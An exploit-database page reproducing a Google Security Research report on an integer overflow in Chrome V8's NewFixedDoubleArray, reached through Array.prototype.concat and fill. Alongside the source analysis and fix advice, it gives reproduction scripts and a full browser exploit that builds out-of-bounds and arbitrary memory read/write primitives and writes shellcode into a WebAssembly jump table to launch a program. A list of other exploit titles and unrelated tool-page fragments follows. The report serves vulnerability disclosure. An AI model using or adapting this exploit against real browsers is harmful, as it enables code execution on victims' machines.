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"Google Chrome 72.0.3626.121 / 74.0.3725.0 - 'NewFixedDoubleArray' Integer Overflow"

Author

Exploit author

"Google Security Research"

Platform

Exploit platform

multiple

Release date

Exploit published date

2019-04-24

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VULNERABILITY DETAILS
https://cs.chromium.org/chromium/src/v8/src/heap/factory.cc?rcl=dd689541d3815d64b4b39f6a41603248c71aa00e&l=496
Handle<FixedArrayBase> Factory::NewFixedDoubleArray(int length,
                                                    PretenureFlag pretenure) {
  DCHECK_LE(0, length);
  if (length == 0) return empty_fixed_array();
  if (length > FixedDoubleArray::kMaxLength) { // ***1***
    isolate()->heap()->FatalProcessOutOfMemory("invalid array length");
  }
  int size = FixedDoubleArray::SizeFor(length); // ***2***
  Map map = *fixed_double_array_map();
  HeapObject result =
      AllocateRawWithImmortalMap(size, pretenure, map, kDoubleAligned);
  Handle<FixedDoubleArray> array(FixedDoubleArray::cast(result), isolate());
  array->set_length(length);
  return array;
}

https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-array.cc?rcl=933508f981a984b7868d70c3adb781783e5aa32d&l=1183
Object Slow_ArrayConcat(BuiltinArguments* args, Handle<Object> species,
                        Isolate* isolate) {
[...]
  uint32_t estimate_result_length = 0;
  uint32_t estimate_nof = 0;
  FOR_WITH_HANDLE_SCOPE(isolate, int, i = 0, i, i < argument_count, i++, {
    Handle<Object> obj = args->at(i);
    uint32_t length_estimate;
    uint32_t element_estimate;
    if (obj->IsJSArray()) {
      Handle<JSArray> array(Handle<JSArray>::cast(obj));
      length_estimate = static_cast<uint32_t>(array->length()->Number());
      if (length_estimate != 0) {
        ElementsKind array_kind =
            GetPackedElementsKind(array->GetElementsKind());
        kind = GetMoreGeneralElementsKind(kind, array_kind);
      }
      element_estimate = EstimateElementCount(isolate, array);
    } else {
[...]
    }
    // Avoid overflows by capping at kMaxElementCount.
    if (JSObject::kMaxElementCount - estimate_result_length < length_estimate) { // ***3***
      estimate_result_length = JSObject::kMaxElementCount;
    } else {
      estimate_result_length += length_estimate;
    }
    if (JSObject::kMaxElementCount - estimate_nof < element_estimate) {
      estimate_nof = JSObject::kMaxElementCount;
    } else {
      estimate_nof += element_estimate;
    }
  });

  // If estimated number of elements is more than half of length, a
  // fixed array (fast case) is more time and space-efficient than a
  // dictionary.
  bool fast_case = is_array_species &&
                   (estimate_nof * 2) >= estimate_result_length &&
                   isolate->IsIsConcatSpreadableLookupChainIntact(); // ***4***

  if (fast_case && kind == PACKED_DOUBLE_ELEMENTS) {
    Handle<FixedArrayBase> storage =
        isolate->factory()->NewFixedDoubleArray(estimate_result_length); // ***5***
[...]

https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-array.cc?rcl=9ea32aab5b494eaaf27ced51a6608e8400a3c4e5&l=1378
MaybeHandle<JSArray> Fast_ArrayConcat(Isolate* isolate,
                                      BuiltinArguments* args) {
[...]
  int result_len = 0;
  {
    DisallowHeapAllocation no_gc;
    // Iterate through all the arguments performing checks
    // and calculating total length.
    for (int i = 0; i < n_arguments; i++) {
      Object arg = (*args)[i];
      if (!arg->IsJSArray()) return MaybeHandle<JSArray>();
      if (!HasOnlySimpleReceiverElements(isolate, JSObject::cast(arg))) {
        return MaybeHandle<JSArray>();
      }
      // TODO(cbruni): support fast concatenation of DICTIONARY_ELEMENTS.
      if (!JSObject::cast(arg)->HasFastElements()) {
        return MaybeHandle<JSArray>();
      }
      Handle<JSArray> array(JSArray::cast(arg), isolate);
      if (!IsSimpleArray(isolate, array)) { // ***6***
        return MaybeHandle<JSArray>();
      }
      // The Array length is guaranted to be <= kHalfOfMaxInt thus we won't
      // overflow.
      result_len += Smi::ToInt(array->length());
      DCHECK_GE(result_len, 0);
      // Throw an Error if we overflow the FixedArray limits
      if (FixedDoubleArray::kMaxLength < result_len || /// ***7***
          FixedArray::kMaxLength < result_len) {
        AllowHeapAllocation gc;
        THROW_NEW_ERROR(isolate,
                        NewRangeError(MessageTemplate::kInvalidArrayLength),
                        JSArray);
      }
    }
  }
  return ElementsAccessor::Concat(isolate, args, n_arguments, result_len);
}

https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-array.cc?rcl=9ea32aab5b494eaaf27ced51a6608e8400a3c4e5&l=244
BUILTIN(ArrayPrototypeFill) {
[...]
  // 2. Let len be ? ToLength(? Get(O, "length")).
  double length;
  MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, length, GetLengthProperty(isolate, receiver)); // ***8***

  // 3. Let relativeStart be ? ToInteger(start).
  // 4. If relativeStart < 0, let k be max((len + relativeStart), 0);
  //    else let k be min(relativeStart, len).
  Handle<Object> start = args.atOrUndefined(isolate, 2);

  double start_index;
  MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, start_index, GetRelativeIndex(isolate, length, start, 0)); // ***9***

  // 5. If end is undefined, let relativeEnd be len;
  //    else let relativeEnd be ? ToInteger(end).
  // 6. If relativeEnd < 0, let final be max((len + relativeEnd), 0);
  //    else let final be min(relativeEnd, len).
  Handle<Object> end = args.atOrUndefined(isolate, 3);

  double end_index;
  MAYBE_ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
      isolate, end_index, GetRelativeIndex(isolate, length, end, length));
[...]
  if (TryFastArrayFill(isolate, &args, receiver, value, start_index,
                       end_index)) {

https://cs.chromium.org/chromium/src/v8/src/elements.cc?rcl=d8b0d88de4b7d73ea02abb8511c146944d6ccf67&l=2244
static Object FillImpl(Handle<JSObject> receiver, Handle<Object> obj_value,
                       uint32_t start, uint32_t end) {
  // Ensure indexes are within array bounds
  DCHECK_LE(0, start);
  DCHECK_LE(start, end);

  // Make sure COW arrays are copied.
  if (IsSmiOrObjectElementsKind(Subclass::kind())) {
    JSObject::EnsureWritableFastElements(receiver);
  }

  // Make sure we have enough space.
  uint32_t capacity =
      Subclass::GetCapacityImpl(*receiver, receiver->elements());
  if (end > capacity) {
    Subclass::GrowCapacityAndConvertImpl(receiver, end); // ***10***
    CHECK_EQ(Subclass::kind(), receiver->GetElementsKind());
  }

|NewFixedDoubleArray| doesn't expect the |length| argument to be negative (there's even a DCHECK for
that), as it would pass the maximum length check[1] and cause an integer overflow when computing the
size of the backing store[2]. The undersized backing store then might be used for out-of-bounds 
access. It turns out there are at least two methods that allow passing negative values to
|NewFixedDoubleArray|.


1. Concat

The implementation of |Array.prototype.concat| in V8 has quite a few fast code paths that deal with
different kinds of arguments. The structure roughly looks like:

                     +------------------+
                     |                  |
      +--------------> Fast_ArrayConcat |
      |              |                  |
      |              +------------------+      ***********************
+-------------+                                *                     *
|             |               +----------------> packed double array *
| ArrayConcat |               |                *                     *
|             |               |                ***********************
+-------------+               |
      |              +------------------+                                    +---------------------+
      |              |                  |                                    |                     |
      +--------------> Slow_ArrayConcat |                 +------------------> fixed array storage |
                     |                  |                 |                  |                     |
                     +------------------+                 |                  +---------------------+
                              |                           |
                              |                +---------------------+       +---------------------+
                              |                |                     |       |                     |
                              +----------------> ArrayConcatVisitor  +-------> dictionary storage  |
                                               |                     |       |                     |
                                               +---------------------+       +---------------------+
                                                          |
                                                          |                  +---------------------+
                                                          |                  |                     |
                                                          +------------------> JSReceiver storage  |
                                                                             |                     |
                                                                             +---------------------+

The relevant code path for this issue is the packed double array case inside |Slow_ArrayConcat|.
The method uses an unsigned variable for computing the result array length and caps it at
|kMaxElementCount|[3], i.e., at 0xffffffff. Then the value of the variable gets converted to a
*signed* type and passed to |NewFixedDoubleArray|[5] provided that the |fast_case| condition is
satisfied[4], and the estimated array type is PACKED_DOUBLE. Thus, any value in the range
[0x80000000, 0xffffffff] could pass the length check and trigger the overflow.

That still means an attacker has to make the method iterate through more than two billion array
elements, which might seem implausible; actually, the whole process takes just a couple of seconds
on a modern machine and has moderate memory requirements because multiple arguments can refer to the
same array.

Also, |ArrayConcat| calls |Fast_ArrayConcat| in the beginning, and the fast method has a more strict
length check, which might throw an error when the result length is more than |FixedDoubleArray::
kMaxLength|[7]. So, the attacker has to make |Fast_ArrayConcat| return early without triggering the
error. The easiest way to achieve that is to define an additional property on the array.

REPRODUCTION CASE:
<script>
const MB = 1024 * 1024,
      block_size = 32 * MB;
array = Array(block_size).fill(1.1);
array.prop = 1;
args = Array(2048 * MB / block_size - 2).fill(array);
args.push(Array(block_size));
array.concat.apply(array, args);
</script>


2. Fill

The bug in |concat| allows writing data beyond the bounds of an array, but it's difficult to limit
the size of the OOB data to a sane value, which makes the exploitation primitive less useful.
So, I've spent some time looking for variants of the issue, and found one in |Array.prototype.fill|.

|ArrayPrototypeFill| initially obtains the length of an array[8] and uses that value to limit the
|start| and |end| arguments. However, a later call to |GetRelativeIndex|[9] might trigger a
user-defined JS function, which could modify the length. Usually, that's enough to cause OOB
access, so |FastElementsAccessor::FillImpl| double-checks that the capacity of the array is not less
than |end| and might call |GrowCapacityAndConvertImpl|[10], which in turn might call
|NewFixedDoubleArray|. The issue here is that there's no check that |end| is small enough to fit in
a signed type; therefore the same overflow leading to the allocation of an undersized backing store
could occur.

REPRODUCTION CASE:
<script>
array = [];
array.length = 0xffffffff;

b = array.fill(1.1, 0, {valueOf() {
  array.length = 32;
  array.fill(1.1);
  return 0x80000000;
}});
</script>


Exploitation:
Unlike |concat|, |fill| conveniently allows limiting the size of the OOB block by modifying the
|start| argument. The exploit forces the method to return an array whose length value is bigger than
the actual size of the backing store, which is essentially a ready-to-use OOB read/write
exploitation primitive. The rest is just copied from https://crbug.com/931640.

<script>
let data_view = new DataView(new ArrayBuffer(8));
reverseDword = dword => {
  data_view.setUint32(0, dword, true);
  return data_view.getUint32(0, false);
}

reverseQword = qword => {
  data_view.setBigUint64(0, qword, true);
  return data_view.getBigUint64(0, false);
}

floatAsQword = float => {
  data_view.setFloat64(0, float);
  return data_view.getBigUint64(0);
}

qwordAsFloat = qword => {
  data_view.setBigUint64(0, qword);
  return data_view.getFloat64(0);
}

let oob_access_array;
let ptr_leak_object;
let arbirary_access_array;
let ptr_leak_index;
let external_ptr_index;
let external_ptr_backup;
const MARKER = 0x31337;

leakPtr = obj => {
  ptr_leak_object[0] = obj;
  return floatAsQword(oob_access_array[ptr_leak_index]);
}

getQword = address => {
  oob_access_array[external_ptr_index] = qwordAsFloat(address);
  return arbirary_access_array[0];
  oob_access_array[external_ptr_index] = external_ptr_backup;
}

setQword = (address, value) => {
  oob_access_array[external_ptr_index] = qwordAsFloat(address);
  arbirary_access_array[0] = value;
  oob_access_array[external_ptr_index] = external_ptr_backup;
}

getField = (object_ptr, num, tagged = true) =>
  object_ptr + BigInt(num * 8 - (tagged ? 1 : 0));

setBytes = (address, array) => {
  for (let i = 0; i < array.length; ++i) {
    setQword(address + BigInt(i), BigInt(array[i]));
  }
}

triggerOob = () => {
  array = [];
  array.length = 0xffffffff;
  ptr_leak_object = {};
  arbirary_access_array = new BigUint64Array(1);

  oob_access_array = array.fill(1.1, 0x80000000 - 1, {valueOf() {
    array.length = 32;
    array.fill(1.1);
    return 0x80000000;
  }});
  ptr_leak_object[0] = MARKER;
  arbirary_access_array.buffer;
}

findOffsets = () => {
  let markerAsFloat = qwordAsFloat(BigInt(MARKER) << 32n);
  for (ptr_leak_index = 0; ptr_leak_index < oob_access_array.length;
      ++ptr_leak_index) {
    if (oob_access_array[ptr_leak_index] === markerAsFloat) {
      break;
    }
  }

  let oneAsFloat = qwordAsFloat(1n << 32n);
  for (external_ptr_index = 2; external_ptr_index < oob_access_array.length;
      ++external_ptr_index) {
    if (oob_access_array[external_ptr_index - 2] === oneAsFloat &&
        oob_access_array[external_ptr_index - 1] === 0) {
      break;
    }
  }

  if (ptr_leak_index === oob_access_array.length ||
      external_ptr_index === oob_access_array.length) {
    throw alert("Couldn't locate the offsets");
  }

  external_ptr_backup = oob_access_array[external_ptr_index];
}

runCalc = () => {
  const wasm_code = new Uint8Array([
    0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,
    0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,
    0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,
    0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,
    0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,
    0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,
    0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,
    0x00, 0x00, 0x41, 0x00, 0x0b
  ]);
  const wasm_instance = new WebAssembly.Instance(
    new WebAssembly.Module(wasm_code));
  const wasm_func = wasm_instance.exports.a;

  const shellcode = [
    0x48, 0x31, 0xf6, 0x56, 0x48, 0x8d, 0x3d, 0x32,
    0x00, 0x00, 0x00, 0x57, 0x48, 0x89, 0xe2, 0x56,
    0x48, 0x8d, 0x3d, 0x0c, 0x00, 0x00, 0x00, 0x57,
    0x48, 0x89, 0xe6, 0xb8, 0x3b, 0x00, 0x00, 0x00,
    0x0f, 0x05, 0xcc, 0x2f, 0x75, 0x73, 0x72, 0x2f,
    0x62, 0x69, 0x6e, 0x2f, 0x67, 0x6e, 0x6f, 0x6d,
    0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c,
    0x61, 0x74, 0x6f, 0x72, 0x00, 0x44, 0x49, 0x53,
    0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x00
  ];

  wasm_instance_ptr = leakPtr(wasm_instance);
  const jump_table = getQword(getField(wasm_instance_ptr, 33));

  setBytes(jump_table, shellcode);
  wasm_func();
}

triggerOob();
findOffsets();
runCalc();
</script>


VERSION
Google Chrome 72.0.3626.121 (Official Build) (64-bit)
Google Chrome 74.0.3725.0 (Official Build) canary


I'd recommend changing |NewFixedDoubleArray| so it throws an OOM error on negative values, the same
way as the similar |AllocateRawFixedArray| function currently does.
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2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Under Construction Page with CPanel 1.0 - SQL injection" webapps multiple "Mayur Parmar"
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2020-02-10 "iOS/macOS - Out-of-Bounds Timestamp Write in IOAccelCommandQueue2::processSegmentKernelCommand()" dos multiple "Google Security Research"
2020-01-28 "macOS/iOS ImageIO - Heap Corruption when Processing Malformed TIFF Image" dos multiple "Google Security Research"
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2019-12-18 "macOS 10.14.6 (18G87) - Kernel Use-After-Free due to Race Condition in wait_for_namespace_event()" dos macos "Google Security Research"
2019-12-16 "Linux 5.3 - Privilege Escalation via io_uring Offload of sendmsg() onto Kernel Thread with Kernel Creds" local linux "Google Security Research"
2019-12-11 "Adobe Acrobat Reader DC - Heap-Based Memory Corruption due to Malformed TTF Font" dos windows "Google Security Research"
2019-11-22 "macOS 10.14.6 - root->kernel Privilege Escalation via update_dyld_shared_cache" local macos "Google Security Research"
2019-11-22 "Internet Explorer - Use-After-Free in JScript Arguments During toJSON Callback" dos windows "Google Security Research"
2019-11-20 "Ubuntu 19.10 - Refcount Underflow and Type Confusion in shiftfs" dos linux "Google Security Research"
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2019-11-20 "iOS 12.4 - Sandbox Escape due to Integer Overflow in mediaserverd" dos ios "Google Security Research"
2019-11-11 "Adobe Acrobat Reader DC for Windows - Use of Uninitialized Pointer due to Malformed OTF Font (CFF Table)" dos windows "Google Security Research"
2019-11-11 "Adobe Acrobat Reader DC for Windows - Use of Uninitialized Pointer due to Malformed JBIG2Globals Stream" dos windows "Google Security Research"
2019-11-11 "iMessage - Decoding NSSharedKeyDictionary can read ObjC Object at Attacker Controlled Address" dos multiple "Google Security Research"
2019-11-05 "WebKit - Universal XSS in JSObject::putInlineSlow and JSValue::putToPrimitive" dos multiple "Google Security Research"
2019-11-05 "macOS XNU - Missing Locking in checkdirs_callback() Enables Race with fchdir_common()" dos macos "Google Security Research"
2019-11-05 "JavaScriptCore - Type Confusion During Bailout when Reconstructing Arguments Objects" dos multiple "Google Security Research"
2019-10-30 "JavaScriptCore - GetterSetter Type Confusion During DFG Compilation" dos multiple "Google Security Research"
2019-10-28 "WebKit - Universal XSS in HTMLFrameElementBase::isURLAllowed" dos multiple "Google Security Research"
2019-10-21 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed JP2 Stream (2)" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - Out-of-Bounds Read in CI!CipFixImageType While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - Out-of-Bounds Read in nt!MiParseImageLoadConfig While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - Out-of-Bounds Read in CI!HashKComputeFirstPageHash While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - win32k.sys TTF Font Processing Pool Corruption in win32k!ulClearTypeFilter" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - NULL Pointer Dereference in nt!MiOffsetToProtos While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-10 "Windows Kernel - Out-of-Bounds Read in nt!MiRelocateImage While Parsing Malformed PE File" dos windows "Google Security Research"
2019-10-09 "XNU - Remote Double-Free via Data Race in IPComp Input Path" dos macos "Google Security Research"
2019-10-04 "Android - Binder Driver Use-After-Free" local android "Google Security Research"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.